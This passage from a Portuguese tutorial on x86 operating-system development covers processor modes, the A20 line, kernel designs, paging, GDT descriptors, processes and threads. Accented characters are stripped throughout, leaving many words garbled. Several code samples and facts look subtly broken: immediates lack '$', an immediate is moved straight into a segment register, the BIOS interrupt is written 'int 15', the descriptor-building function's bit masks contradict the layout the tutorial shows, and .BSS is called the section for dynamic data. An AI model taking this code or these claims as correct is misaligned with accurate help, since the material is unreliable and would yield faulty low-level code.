voc no poder utilizar algumas funes da biblioteca padro (geralmente funes de E/S), como printf, scanf, open, write, fopen, fwrite, malloc, etc. Se voc quiser utilizar estas funes, ter que escrever sua prpria biblioteca. As funes de manipulao de contedo da memria (memcpy, memcmp, strcpy, strchr) podem ser utilizadas vontade. Voc tambm ter de implementar algum tipo de gerenciamento do retorno da funo main(), ou seja, no basta o "return 0;" de sempre. O ideal em termos de setor de boot, que seja escrito em assembly, j que pode possuir apenas 510 bytes (510 + assinatura( 2 bytes )). Como dito, uma das opes do setor de boot pular para o kernel. Antes de vermos o que o kernel, precisamos entender os modos de operao de um x86. * MODO REAL O modo real surgiu na arquitetura x86 h bastante tempo. Este modo de operao caracterizase por utilizar instrues de 16 bits, e fazer acesso e transferncias de dados, primariamente em 16 bits. O acesso memria no modo real tem de ser feito utilizando registradores de 16 bits, porm, um valor de 16 bits alcana um valor mximo de 65536 (64KB). At mesmo para a poca em que entrou em vigor o modo real, 64KB no eram suficientes; ento criou-se um outro sistema de endereamento, baseado em segmentos e offsets. Um segmento um bloco contguo de 64KB, e um offset um deslocamento dentro deste bloco. Os segmentos iniciam a cada 16 bytes, logo os segmentos so entrelaados. Para voc entender melhor, vai um exemplo: Se voc colocar um valor no endereo 0 do segmento 1, este valor inicia-se no 16 byte do segmento 0, pois a cada 16 bytes, inicia-se um segmento. OK. Para obter o endereo real na memria da posio do seu segmento, simplesmente multiplique-o por 16 (Ex.: segmento 90 (90 * 16 = 1440) -> o segmento 90 inicia-se no 1440 byte da memria). Os offsets so valores que voc utiliza para se deslocar nestes segmentos. Por exemplo, se voc deseja acessar o 50 byte do segmento 30, voc simplesmente utiliza um offset de 50! O endereamento pelo modelo segmento + offset representado da seguinte maneira: segmento:offset Ex. segmento 30, offset 50: 30:50 0x001E:0x0032 Para mais informaes sobre o endereamento em modo real, e a utilizao do mesmo, consulte algum tutorial ou artigo sobre o assunto. Como o modo real o modo nativo, no precisamos de intrues especiais para entrarmos nele. * MODO PROTEGIDO O modo protegido possui como padro, instrues e acessos de 32 bits. Este modo de operao surgiu com os processadores 80386. O acesso memria neste modo um pouco mais complexo ao nvel do sistema, e mais simples ao nvel do programador. O modo protegido nos d um acesso mximo de 4GB de memria (2^32), e, portanto no h a necessidade da utilizao de segmentos. Porm, para compatibilidade, a segmentao continuou neste modo. A principal novidade em termos de memria foi a integrao de paginao com auxlio do processador. Para quem desconhece a paginao, ela um sistema de mapeamento virtual da memria, onde se pode utilizar endereos fisicamente inexistentes, os quais so mapeados para

39

endereos fsicos reais. A paginao tambm auxilia no swapping, que uma tcnica que permite expandir virtualmente o tamanho da memria com o auxlio do disco. Falaremos sobre paginao mais tarde. Para entrarmos em modo protegido, precisamos fazer algumas coisas antes: 1. 2. 3. 4. Desabilitar interrupes (veremos interrupes mais tarde) Construir e habilitar uma GDT (veremos GDT mais tarde, em memria virtual -> segmentos) Habilitar o bit PE no registrador CR0 Executar um far jmp para limpar o fluxo de execuo

Vamos a um exemplo: asm( "cli\n" /* Desabilitamos interrupes */ "lgdt (%%eax)\n" /* Carregamos a gdt com o ponteiro do descritor da tabela em eax */ "mov 8, %%ds\n" /* Salvamos o segmento 8 em %ds */ "mov %%cr0, %%eax\n" /* Colocamos %cr0 em %eax */ "or 1, %%eax\n" /* Habilitamos o bit PE */ "mov %%eax, %%cr0\n" /* Colocamos %eax em %cr0*/ "jmp %%ds:rotulo\n" "rotulo:" : : "a" (pt_GDT_Desc)); /* pt_GDT_Desc = ponteiro da GDT */ No se preocupe com a GDT e as interrupes. Vamos a parte que interessa. Primeiro, salvamos o valor 8 em ds, porque quando formos realizar o jmp para limpar o fluxo de execuo (sem esse jmp, continuariamos executando em 16 bits =P), teremos de realizar um far jmp. O 8, neste caso, se refere ao segmento (veremos mais tarde os segmentos em modo protegido) ao qual vamos pular. Voc dever alterar este valor para qualquer valor de segmento de cdigo que lhe seja conveniente. O bit 0 do registrador CR0 nos indica se estamos em modo protegido ou no. Este registrador s acessvel programas de sistema (kernel e etc). Antes de continuarmos, vamos dar uma olhada num subtpico rapidinho: * A20 O A20 um bit localizado na port do teclado, utilizado para permitir o acesso a endereos maiores que 1MB. Mesmo em modo protegido, este bit tem de ser ativado, seno ficaremos limitado ao 1 MB. Este bit se localiza na port 0x60. Utilizamos um comando na port 0x64 para podermos escrever nesta port. No muito recomendvel utilizar as ports para habilitar a A20 porque em alguns casos, simplesmente no funciona. Ento, devemos utilizar a bios (enquanto em modo real) para habilitarmos o A20. Na bios, utilizamos a int 15, com valor 0x2401 para habilitar o A20 e 0x2400 para desabilitar. Vejamos um cdigo simples para habilitar o A20 (este cdigo dever ser compilado em 16 bits): asm( "mov 0x2401, %ax\n" "int 15"); Simples, n! * MODO LONGO Este modo foi introduzido com os processadores da arquitetura AMD64. Neste modo, os acessos so comumente feitos em 64 bits, porm o padro para as instrues

40

de 32 bits. A maior novidade em termos de memria o abandono praticamente total da segmentao. OBS: Nosso tutorial tem enfoque no modo protegido. KERNEL: Voc j deve ter lido ou ouvido que o kernel considerado o corao do sistema operacional. Essa definio ocorre porque o kernel responsvel pela maioria dos recursos e servios fornecidos por um sistema operacional. No kernel localizam-se, geralmente, as syscalls e todas as estruturas necessrias para o funcionamento do OS. H basicamente dois tipos de kernel: monoltico e microkernel. O modelo monoltico utiliza um sistema de abstrao forte, dando ao programa uma ampla variedade de interfaces para a interao com o hardware, e, conseqentemente, restringindo o acesso direto ao hardware por meio de programas de usurio. Este tipo de kernel tambm um tanto difcil de ser mantido no nvel do programador, devido ao conjunto de interaes complexas que ocorrem no mesmo. Este kernel geralmente possui gerenciadores de recursos prprios, e executa em um espao virtual aberto, ou seja, todos os seus mdulos podem utilizar tal espao e, em alguns casos, todos tem o mesmo tipo de privilgio de acesso, podendo ocasionar problemas caso mdulos maliciosos ou "bugados" sejam acoplados ao kernel. O modelo de microkernel possui uma abstrao menor em relao ao modelo monoltico, permitindo que os programas de usurio possam interagir com o hardware em determinadas situaes (e, s vezes, com algum controle) e no possuem tantos objetos de abstrao como o kernel monoltico. Este kernel mais fcil de ser mantido do que o kernel monoltico, principalmente porque este executa em ambiente virtual fechado, restringindo o acesso dos mdulos ao kernel e ao hardware (quando possvel). Isso permite que mdulos maliciosos ou "bugados" no comprometam o sistema totalmente. Este tipo de kernel destaca-se tambm pela descentralizao de funes, em funo de sua simplicidade de abstrao, deixando o gerenciamento de determinados recursos para mdulos. O maior problema com os mirokernis est na performance, pois o fato de ser "separado" de seus mdulos gerenciadores causa uma sobrecarga, devido ao trabalho de mudana de contexto de execuo, que, em muitos casos, comparvel ao contexto de mudana de execuo entre processos (pense, por enquanto, em processos como programas rodando, mais tarde veremos o que so realmente). SYSCALLS Uma syscall uma requisio que um programa faz ao kernel. O tipo de requisio varivel. Podemos ter requisies para a leitura e escrita de arquivos, para o gerenciamento de processos (veremos mais tarde), etc. Em C, uma syscall anloga a uma funo, porm uma funo que leva o programa diretamente ao kernel. Dentro do kernel, ou acoplado a ele, como dito anteriormente, encontram-se mdulos de gerenciamento. Darei alguns exemplos destes mdulos e de suas funes: GERENCIAMENTO DE MEMRIA VIRTUAL Se voc nunca ouviu falar de memria virtual, no se preocupe, darei uma explicao. Memria virtual um sistema onde se mapeia a memria fsica para endereos muitas vezes inexistentes. Isso quer dizer que voc pode possuir apenas 64 MB de memria e mesmo assim ver seu programa rodando no endereo 512 MB. Isso possvel com o auxlio do hardware, geralmente do processador, que faz a traduo do endereo atual em endereo fsico. bom lembrar que, como tal faanha feita em relao a toda a memria, no somente o cdigo,

41

mas tambm os dados tambm podem estar em endereos inexistentes (afinal, tudo a mesma coisa). Faamos um teste para deixar-mos as coisas mais claras: /* Programa de exemplo: obteno de EIP e de um buffer alocado dinamicamente na memria */ #include <stdio.h> char *Formato = "\nBuffer = 0x%X, EIP = 0x%X\n\n"; // String a ser imprimida int main(void) { void *Buffer = (void *) malloc( 8 ); /* Alocamos um buffer para testar o posicionamento do mesmo na memria */ asm( "call rotulo1\n" /* chamando call, obtemos eip na pilha */ "rotulo1:\n" /* Essa a nossa funo 'void rotulo1(void)' */ "push %%eax\n" /* Salvamos %eax na pilha (Buffer dinmico) */ "push %%ebx\n" /* Salvamos %ebx na pilha (String a ser imprimida) */ "call printf" : : "a" (Buffer), "b" (Formato)); /* Imprimimos */ free( Buffer ); /* Liberamos o buffer */ return 0; /* E damos o fora */ } Vamos dar uma olhada na sada: bash# gcc eip_e_buf.c -o eeb bash# ./eeb Buffer = 0x804A050, EIP = 0x80483CB bash# OK, como voc pode ver, o buffer est no endereo 0x804A050 (aprox. 128 MB). Isso est dentro do meu limite fsico (256MB), ento, iremos alocar um buffer grande para podermos obter um endereo de alocao dinmica maior. /* Programa de exemplo: obteno de EIP e de um buffer alocado dinamicamente na memria */ #include <stdio.h> char *Formato = "\nBuffer = 0x%X, EIP = 0x%X\n\n"; // String a ser imprimida int main(void) { void *Buffer_aux = (void *) malloc( 1048576 * 200 ); // alocarei 256 MB o0

42

if( ! Buffer_aux ) printf( "Erro: alocacao principal" ); void *Buffer = (void *) malloc( 8 ); /* Alocamos um buffer para testar o posicionamento do mesmo na memria */ asm( "call rotulo1\n" /* chamando call, obtemos eip na pilha */ "rotulo1:\n" /* Essa a nossa funo 'void rotulo1(void)' */ "push %%eax\n" /* Salvamos %eax na pilha (Buffer dinmico) */ "push %%ebx\n" /* Salvamos %ebx na pilha (String a ser imprimida) */ "call printf" : : "a" (Buffer), "b" (Formato)); /* Imprimimos */ free( Buffer ); /* Liberamos o buffer */ free( Buffer_aux); /* Liberamos o buffer auxiliar */ return 0; /* E damos o fora */ } Vamos dar uma olhada na sada: bash# gcc eip_e_buf.c -o eeb bash# ./eeb Erro: alocacao principal Buffer = 0x9ED00490, EIP = 0x80483CB bash# Bom, tivemos um erro de alocao, porm a tentativa de alocao mudou nosso ponteiro, obtivemos desta vez o endereo 0x9ED00490, que equivale a aproximadamente o endereo 2.48 GB. Isso prova que a memria virtual realmente existe!!! :P A traduo do endereo virtual para o endereo fsico feita pelo processador e invisvel ao programa de usurio. O kernel (ou algum(s) de seus mdulos) responsvel pelo gerenciamento e manuteno da tabela de traduo. A memria virtual til no contexto de que ela permite que cada programa seja capaz de "ver" o seu espao virtual como um todo de memria ( como se cada programa fosse capaz de possuir sua prpria memria do endereo 0 ao endereo mximo). Isso tambm permite que programas no interfiram no espao alheio, pois um endereo utilizado por um programa pode ser utilizado por outro, e os dados l presentes no sero os do primeiro programa. O sistema de implementao de memria virtual mais conhecido atualmente a paginao. PAGINAO A paginao um sistema geralmente integrado ao processador, onde se faz a a sua manipulao da memria em blocos chamados pginas. Cada pgina pode possuir um tamanho especfico. Na arquitetura x86, as pginas padro possuem 4KB, porm possvel termos pginas de 4MB e 2MB. Em outras arquiteturas podemos ter pginas variando de 1KB at

43

256MB. possvel mapear o endereo de uma pgina a partir de sua base. Para quem conhece o sistema binrio e hexadecimal, vamos explicao (quem no entende, pode pular para SWAPPING): Quando voc vai configurar o endereo, geralmente ele j possui uma base de bits. No caso de pginas de 4KB, esta base 12. Isso significa que o endereo obtido pela pgina um endereo onde se faz "left shifting" com 12 bits (ou multiplica-se o valor por 4096 ( tudo a mesma coisa)). Deste modo, voc poder obter com o valor 1, o endereo 4096, com o valor 2, o endereo 8192. Isso impede que uma pgina esteja contida em outra, porm possvel mapear reas de memria em comum, por exemplo, voc pode configurar duas pginas com o valor 1, ou seja, ambas apontam para o endereo 4096. SWAPPING Esta tcnica surgiu para corrigir a falta de memria de um sistema. A memria virtual uma boa tcnica, pois mostra aos programas endereos inexistentes, alm de mantr uma individualidade entre estes, porm no aumenta o tamanho da memria, pois voc s dispoem da memria existente para fazer o mapeamento. O swapping foi criado para suprir esta necessidade. Utilizando o swapping, voc pode obter mais memria do que o que est realmente disponvel. O swapping consiste no armazenamento de pginas que no esto sendo utilizadas atualmente no disco. Com isso, simplesmente armazenamos pginas conforme no estamos utilizando-as e precisamos de mais espao. Quando as pginas armazenadas forem requisitadas, o kernel (ou o mdulo responsvel) retira uma pgina da memria, se necessrio, armazena-a no disco, retira a pgina requisitada, armazena-a no local onde estava a anterior e configura seu endereo. Se voc j teve algum contato com modo real, ou alguma introduo arquitetura x86, deve estar notando que eu no falei sobre segmentos. Isso se deve pelo fato de a segmentao ser presente apenas nesta arquitetura e "atrapalhar" quando se fala em portabilidade de cdigo, por tal razo, irei supor que voc estar trabalhando com modelo flat (poucos segmentos, geralmente todos de 4GB). Bem, pessoas, isso tudo muito bonito e interessante, mas como na prtica a teoria outra, vamos ver como tudo funciona :D PRTICA - MEMRIA VIRTUAL Bem, mesmo no querendo citar os segmentos, aqui que comeamos (infelizmente =[[[). Vamos l. Para criar um segmento, definimos uma tabela, onde cada entrada corresponde a um descritor de segmento. Abaixo temos o formato de um descritor: 31 0 ------------------------------------------------------------|Base 31:24|G|D/B|0|AVL|Limite 19:16|P|DPL|S|Tipo|Base 23:16| byte 4 ------------------------------------------------------------31 16|15 0 ------------------------------------------------------------| Base 15:00 | Limite 15:00 -------------------------------------------------------------

| byte 0

A tabela de segmentos (tambm conhecida como GDT ou LDT) pode contr at 8192 descritores. Cada descritor possui 8 bytes. Vamos ver para que serve cada campo de um descritor: Exemplo [bits onde se encontram no descritor do byte 4]: descrio

44

Base [0:7 e 24:31]: Endereo base do segmento, quando voc se referir ao byte 0 deste segmento, fisicamente estar se referindo ao endereo base. Limite [16:19]: Tamanho do segmento, em incrementos de 1 byte ou 4KB, dependendo do valor do bit G. G [23]: Bit de granuralidade. Determina de que maneira o limite do segmento ser interpretado, pois o limite um valor de 20 bits. Se este bit for 0, o segmento ter seu limite entre 0 e 1MB, se for 1, o segmento ter seu limite entre 0 e 4GB em blocos de 4KB (multiplicando o valor do limite). DB [22]: Se o segmento for de cdigo, este bit identifica o tamanho padro de operaes e endereamento (0 = 16 bits, 1 = 32 bits). Se o segmento for de dados, e for segmento de pilha, o bit identifica o tamanho dos dados a serem colocados na pilha (0 = 16 bits, 1 = 32 bits). Se o segmento for de dados expansvel , o bit identifica o tamanho mximo do segmento (0 = 64KB, 1 = 4GB). 0 [21]: Tem que sempre ser zero AVL [20]: Bit disponvel para voc utilizar como quiser. P [15]: Bit que identifica se o segmento est presente ou ausente na memria. Muito bom se voc for fazer swapping de um segmento inteiro ^^ DPL [13:14]: Identifica o nvel de privilgio do segmento. Veremos isso quando falarmos sobre proteo na arquitetura. S [12]: Identifica um segmento de cdigos ou dados (bit = 1) ou um segmento de sistema (bit = 0). Tipo [8:11]: Identifica o tipo de segmento. Vejamos os tipos disponveis: Para segmento de cdigo: Bit Bit Bit Bit 0: 1: 2: 3: Bit Bit Bit Bit de de de de segmento acessado permisso de leitura do segmento identificao de segmento do tipo "conforming" identificao de segmento de cdigo (sempre 1 para segmentos de cdigo)

Para segmento de dados: Bit Bit Bit Bit 0: 1: 2: 3: Bit Bit Bit Bit de de de de segmento acessado permisso para escrita no segmento identificao de segmento expansvel identificao de segmento de cdigo (sempre 0 para segmentos de dados)

bom lembrar que a pilha tem que ficar num segmento de dados :P Para quem trabalha com C e no est acostumado a trabalhar com bits pode ser complicado, ento vamos criar uma funo para criar e obter um descritor: /* Flags para tipo de segmento */ /* Para dados */ #define #define #define #define S_DADOS 0 /* Segmento de dados (no realmente necessrio)*/ S_ACESSADO 1 /* Segmento acessado */ S_ESCRITA 2 /* O segmento possui permisso de escrita */ S_EXPAND 4 /* O segmento expansvel */

45

/* Para codigo */ #define S_CODIGO 8 /* Segmento de cdigo ( necessrio) */ /* #define S_ACESSADO 1 */ /* Segmento acessado */ #define S_LEITURA 2 /* O segmento possui permisso de leitura */ #define S_CONFORM 4 /* O segmento do tipo "conforming" */ struct Descritor { unsigned long Base; // Endereo base do segmento unsigned long Limite; // Tamanho do segmento unsigned long Tipo; // Flags de tipo unsigned long Sistema; // segmento de sistema? (0 = no) unsigned unsigned unsigned unsigned long long long long DB; // Informaes sobre tamanho DPL; // DPL do segmento Gran; // Granularidade Avl; // Bit disponvel

unsigned long Presente; // Segmento presente? }; void CriarDescritor(Descritor *Desc, void buf) { /* buf deve possuir no min 8 bytes */ /* Criamos um descritor em buf a partir dos dados em Desc */ char *Buffer = (char *) buf; memcpy( Buffer + 0, & Desc->Limite, 2 ); memcpy( Buffer + 2, & Desc->Base, 2 ); Buffer[4] = Desc->Base >> 16; Buffer[5] = Desc->Tipo; if( ! Desc->Sistema ) Buffer[5] |= 0x8; Buffer[5] |= Desc->DPL << 5; if( Desc->Presente ) Buffer[5] |= 0x80; Buffer[6] = (Desc->Limite << 12) >> 28; if( Desc->Avl ) Buffer[6] |= 0x4; if( Desc->DB ) Buffer[6] |= 0x10;

46

if( Desc->Gran ) Buffer[6] |= 0x20; Buffer[7] = Desc->Base >> 24; } void RetornarDescritor(void *buf, Descritor *Desc) { /* buf deve possuir no min 8 bytes */ /* Retornamos um descritor em Desc a partir dos dados em buf */ char *Buffer = (char *) buf; memcpy( & Desc->Limite, Buffer + 0, 2 ); memcpy( & Desc->Base, Buffer + 2, 2 ); Desc->Base += (unsigned char) Buffer[4] << 16; Desc->Tipo = (unsigned char) Buffer[5] ^ ((unsigned char) Buffer[5] >> 4) << 4; Buffer[5] & 0x8 ? Desc->Sistema = 0 : Desc->Sistema = 1; Desc->DPL = (unsigned char) Buffer[5] >> 5 ^ ((unsigned char) Buffer[5] >> 7) << 2; Buffer[5] & 0x80 ? Desc->Presente = 1 : Desc->Presente = 0; Desc->Limite += (unsigned char) Buffer[6] << 16; Buffer[6] & 0x4 ? Desc->Avl = 1 : Desc->Avl = 0; Buffer[6] & 0x10 ? Desc->DB = 1 : Desc->DB = 0; Buffer[6] & 0x20 ? Desc->Gran = 1 : Desc->Gran = 0; Desc->Base += (unsigned char) Buffer[7] << 24; } Eu tenho o pssimo hbito de no comentar meus cdigos e alm disto tem de se ter uma base binria para entender o que ocorre nestas funes, porm elas fazem o que prometem =] Essas funes podem ser teis se voc pretende trabalhar com segmentos dentro de um OS (talvez um mdulo no linux :P). Quando um segmento de sistema, temos as seguintes possibilidades para o campo tipo: 0x1 : TSS de 16 bits (disponvel) 0x3 : TSS de 16 bits (ocupada) 0x9 : TSS de 32 bits (disponvel) 0xB : TSS de 32 bits (ocupada) 0x2 : LDT 0x4 : Task gate 0x6 : Interrupt gate de 16 bits 0x7 : Trap gate de 16 bits

47

0xC : Call gate de 32 bits 0xE : Interrupt gate de 32 bits 0xF : Trap gate de 32 bits Todos os outros valores so reservados. TSSs so segmentos que descrevem uma tarefa (processo, thread, job, etc). Veremos a funo de TSSs quando falarmos sobre processos e threads. Gates so segmentos onde se localizam funes especiais, que podem acessadas somente por determinados programas, ou onde o contedo de tais funes tem de rodar sob um ambiente mais ou menos protegido (veremos gates no tpico interrupes). A tabela de segmentos carregada no registrador GDT (isso mesmo, quando trabalhamos com software de sistema, existem masi registradores para trabalharmos :D). Veja um exemplo de carregamento do registrador: char Buffer[6]; /* Buffer onde armazenaremos o descritor da GDT */ short tamanho = tamanho_da_tabela - 1; long endereco = endereco_fisico_da_tabela; memcpy( Buffer, & tamanho, 2 ); /* Copiamos o tamanho da tabela */ memcpy( Buffer + 2, & endereco, 4); /* E seu endereo para o Buffer */ asm( "lgdt (%%eax)" : : "a" ( Buffer )); /* Carregamos a tabela */ A instruo lgdt carrega os valores presentes no ponteiro de seu parmetro. Essa demonstrao utiliza a instruo de 32 bits. Use o opcode 66h para obter essa instruo em ambiente 16 bits. O primeiro valor dever possui 2 bytes, e equivale ao tamanho da tabela - 1. O segundo valor dever possuir 4 bytes e equivale ao endereo fisico da tabela. OK, agora vamos abandonar toda esta segmentao chata e iremos ver a paginao :DDD. A paginao ocorre com base em tabelas, como a GDT, porm com descritores diferentes, e, no caso de pginas de 4KB (padro) necessitamos de duas tabelas. A primeira destas duas tabelas chama-se diretrio de pginas,e suas entradas identificam a segunda tabela, chamada de tabela de pginas. Esta, por sua vez, identifica a pgina em si. Ambas as tabelas podem ter, no mximo, 1024 entradas. Vejamos um exemplo de descritores para pginas de 4KB: Descritor de tabela de pginas de 4KB (descritor presente no diretrio de pginas) 31 0 ----------------------------------|Base|Avl|G|PS|0|A|PCD|PWD|US|RW|P| ----------------------------------Descritor de pgina de 4KB (descritor presente na tabela de pginas) 31 0 -----------------------------------|Base|Avl|G|PAT|D|A|PCD|PWT|US|RW|P| -----------------------------------OBS: Os campos ocupam exatamente os mesmos bits em ambos os descritores. Base [12:31]: Endereo fsico da tabela/pgina. Este endereo multiplicado por 4096, ou seja, a tabela/pgina deve estar alinhada em 4KB. Avl [9:11]: Bits disponveis para o programador.

48

G [8]: Pgina global (ignorado no descritor de tabela de pginas). Este bit previne que a pgina seja invalidada durante a troca de contextos entre processos e a mudana de diretrio de pginas. til para pginas que contm o kernel, por exemplo. PS/PAT [7]: PS = tamanho de pgina (sempre 0 para pginas de 4KB). PAT = Este bit seleciona um modelo de cacheamento de pgina diferente do normal. Veremos se eu lembrar de escrever algo sobre cacheamento de memria. o/D [6]: 0 = sempre zero. D = bit de pgina suja. disponvel para ser utilizado pelo software de gerenciamento de pginas. Quando a pgina for utilizada para escrita, este bit setado (D = 1) pelo processador, e o software de gerenciamento pode verificar se a pgina foi utilizada para a escrita mais tarde. Este bit no limpo (D = 0) pelo processador. O software de gereciamento deve zera-lo por conta prpria. A [5]: Bit de pgina acessada. setado (A = 1) quando a pgina acessada para leitura ou escrita pelo processador. O software de gerenciamento de pginas tambm responsvel por limpar este bit. PCD [4]: Bit de desabilitao de cacheamento de memria. Este bit impede que a tabela/pgina referente ao descritor atual seja colocada no cache do processador. PWT [3]: Controla o tipo de cacheamento a ser utilizado. Se este bit for 0, utiliza-se o modelo write-back. Se for 1, utiliza-se write-through. US [2]: Identifica uma pgina/tabela de usurio (US = 1) ou uma pgina/tabela de supervisor (software de sistema [kernel]) (US = 0). RW [1]: Se for 0, a pgina/tabela somente leitura. Se for 1, a pgina/tabela pode ser lida e escrita. P [0]: Identifica se a pgina/tabela est presente na memria (bom para utilizar com swapping). Quando utilizamos pginas de 4MB, o descritor praticamente o mesmo, e utilizamos somente uma tabela, a de diretrio, porm suas entradas apontam diretamente para as pginas. Descritor de pgina de 4MB (descritor presente no diretrio de pginas) 31 0 ------------------------------------------|Base|Res|PAT|Avl|G|PS|D|A|PCD|PWT|US|RW|P| ------------------------------------------O campo Res reservado, dever sempre ser 0. A novidade aqui que alguns campos esto em lugares diferentes. Abaixo segue os campos deste descritor que no so comuns aos descritores de tabela de pginas e suas respectivas posies: Base [22:31], Res [13:21], PAT [12]. No caso de pginas de 4MB, PS dever ser 1. O diretrio de pginas carregado no registrador de sistema CR3 (da mesma maneira que carregamos o cr0 anteriormente). Apenas os bits 12:31 armazenam o endereo do diretrio, forando o mesmo a estar em um endereo mltiplo de 4096 (4KB). O bit 3 controla o cacheamento do diretrio. Se for 0, o modelo write-back, caso contrrio, write-through. O bit 4 desabilita o cacheamento do diretrio se for 1, se for 0, o cacheamento permitido.

49

Bom, vamos ver como acontece a traduo da memria virtual, acessando um endereo virtual aleatrio: Escolhi o endereo 3493867552 (0xD0403020), que corresponde a aprox. 3.25GB. Vejamos os esquemas de traduo: Traduo de memria virtual para pginas de 4KB 31 22|21 12|11 0 ------------------------------| Diretrio | Tabela | Offset | ------------------------------Traduo de memria virtual para pginas de 4MB 31 22|21 0 ------------------------------| Diretrio | Offset | ------------------------------OK. Vamos decompor os endereos para obtermos a memria fsica. Diretrio: 10 bits Tabela: 10 bits Offset: 12 bits (4KB) ou 22 bits (4MB) OBS: O diretrio e a tabela so acessados com 10 bits do endereo cada um. Por essa razo podemos ter somente 1024 entradas na tabela (2^10 = 1024 = 1111111111b = 0x3FF = 1023). 0xD0403020 Valor binrio: 11010000010000000011000000100000 Pginas de 4KB: Diretrio: 1101000001 (0x341) (833) Tabela: 0000000011 (0x003) (003) Offset: 000000100000 (0x020) (032) Isso significa que pegaremos a entrada nmero 833 no diretrio. Iremos para a tabela apontada por essa entrada. Na tabela olharemos para a entrada nmero 3, nessa entrada verificaremos o endereo fsico da entrada (no esquea de deslocar a base multiplicando por 4KB ou fazendo "left shifting" por 12). Iremos at o endereo fsica da pgina, e adicionamos 32. Pronto, obtemos o endereo fsico do byte a ser acessado. Para pginas de 4MB, a nica diferena que a entrada 833 do diretrio apontar diretamente para uma pgina (no esquea de deslocar a base multiplicando por 4MB ou fazendo "left shifting" por 22). E o offset ser o deslocamento dentro dessa pgina. importante lembrar que o processador quem faz todo este trabalho, e, a menos que o kernel necessite obter o endereo fsico para algum propsito, a nica preocupao do kernel dever ser a de montar corretamente as tabelas de acordo com o endereo necessitado. Talvez voc ainda no tenha entendido como possvel que cada programa possua o mximo de memria em seu espao virtual. Vamos a um exemplo:

50

O programa A ocupa os seguintes endereos da sua memria virtual: -----------------| 1MB - 64MB | -----------------| 512MB - 700 MB | -----------------| 3GB - 3.5GB | -----------------Isso significa que ele possui pginas mapeadas para estes endereos, porm esas pginas provavelmente estaro em outras poses na memria fsica. Quando iniciamos o programa B, guardamos o diretrio de pginas do programa A em algum lugar. Ento, trocamos o diretrio de pginas do programa A, pelo diretrio do programa B. Com a mudana de diretrio, o programa B possuir seu prprio espao virtual, ou seja, ele poder utilizar endereos virtuais utilizados por A, porque seu diretrio de pginas diferente do de A, e suas pginas esto mapeadas apenas em seu diretrio. Assim, o programa B poder ter estruturas e dados que ocupam as mesmas posies ocupadas no mesmo espao virtual de A, porm, esta memria estar mapeada num diretrio de pginas diferente. OK, chega de memria virtual. Para fazer swapping voc deve estar apto a trabalhar com o disco e isso um tanto chato, mas se eu lembrar, no fim do artigo coloco algumas informaes sobre discos IDE/ATA. MULTITAREFA H algum tempo (at o incio da dcada de 1990), eram comuns os sistemas onde apenas um programa rodava por vez. Com o passar do tempo, essa situao se tornou insustentvel, e surgiram sistemas que utilizam a tcnica de multitarefa. Esta tcnica bem simples: D-se uma quantidade de tempo para o programa 1, este executado, e aps a quantidade de tempo pertencente ao programa 1 passar, salvamos informaes sobre seu estado e executamos o programa 2. A estrutura onde se armazena as informaes que permitem dar continuidade geralmente chamada de contexto. Nesta estrutura se encontram, geralmente, informaes como os valores dos registradores. PROCESSOS Um processo uma abstrao, analogo a um programa rodando, ou seja, um processo e composto basicamente por sees de um arquivo binario. O sistema operacional responsavel pelo gerenciamento dos processos que esto em execuo em um determinado ambiente computacional. Quando um processo criado, o sistema operacional inicializa estruturas de manuteno da execuo do processo (ex: manipuladores de arquivo, recursos de sistema, contexto, etc). Estas estruturas so necessrias porque o modelo computacional de ambiente de trabalho utilizado atualmente faz uso da "multitarefa". Um processo basicamente composto de: * Contexto * Espao Virtual Em seu espao virtual, encontramos suas sees, ou seja, seu cdigo, dados e uma rea destinada alocao dinmica. O modelo mais comum de organizao da memria em sistemas linux o seguinte:

51

-----------| .DATA | -----------| .BSS | -----------| .TEXT | -----------.DATA: Seo de dados estticos e da pilha. .BSS: Seo de dados dinmicos .TEXT: Seo de cdigo Os processos geralmente encontram-se em um de 3 estados diferentes: rodando, esperando e bloqueado. Um processo que est rodando est sendo executado agora no processador. Quando seu tempo de execuo terminar, ele vai para a lista de espera. Se ele relizar alguma operao de E/S, ser bloqueado. Um processo que est esperando est num fila, esperando sua vez de executar. Um processo bloqueado um processo que est aguardando um recurso do sistema, ou a finalizao de uma operao de entrada ou sada (E/S). Geralmente um processo bloqueado colocado na fila de espera quando liberado. Os processos so sempre gerenciados pelo kernel ou um de seus mdulos. THREADS Aps algum tempo, foi criado o conceito de thread. Um thread possui descrio igual a descrio do processo dada anteriormente, porm os thread no executam em espao virtual separado. Assim, os threads possuem em comum o espao virtual e os recursos deste espao, enquanto cada um possui seu prprio contexto e tempo de execuo. Com a criao de threads, para os processos sobrou apenas armazenar informaes do espao virtual e sobre os threads (em uma lista talvez). Assim, um thread uma unidade de execuo que possui independncia em relao a sua execuo, pois este que agora possui os 3 estados citados anteriormente, e no o processo inteiro. Isso permite que um thread que faz E/S possa ser bloqueado, sem bloquear o processo inteiro (permitindo que outros threads do processo executem). Os threads tambm representam economia em relao espao e recursos de execuo, pois se voc estiver em um ambiente sem threads, e voc precisar criar 10 threads para realizar uma tarefa x, em tal ambiente, voc ter de criar 10 processos, ou seja, 10 espaos virtuais diferentes, reduzindo, em certo modo, a quantidade de memria disponvel. Alm disso, a criao de threads geralmente mais rpida que a criao de processos. Os threads podem permitir, tambm, que um mesmo processo execute ao mesmo tempo, executando um thread em cada processador em sistemas MP. H sistemas que incluem o conceito de fiber. Um fiber uma unidade de execuo que tem de ter sua execuo controlada pelo thread. Para a manuteno de recursos utilizados por threads, geralmente implementam-se bibliotecas ou funes do prprio kernel para que haja coeso na utilizao destes recursos. H casos em que os threads no so gerenciados pelo kernel. GERENCIAMENTO DE RECURSOS LIMITADOS EM THREADS Geralmente utilizam-se objetos, dos quais os mais famosos so os semforos, os mutexes e as sees crticas. Um semforo um objeto que possui um contador. Cada vez que um thread requisita um semforo, este diminui em 1 seu valor. Cada vez que um thread o libera, este valor aumentado em 1. Se antes dessa decrementao, o valor for 0, o thread atual bloqueado at que outro thread libere o semforo. Os semforos permitem acesso recursos limitados em n maior que 1. Mutex so utilizados na situao em que o recurso deve ser acessado apenas por 1 thread por

52

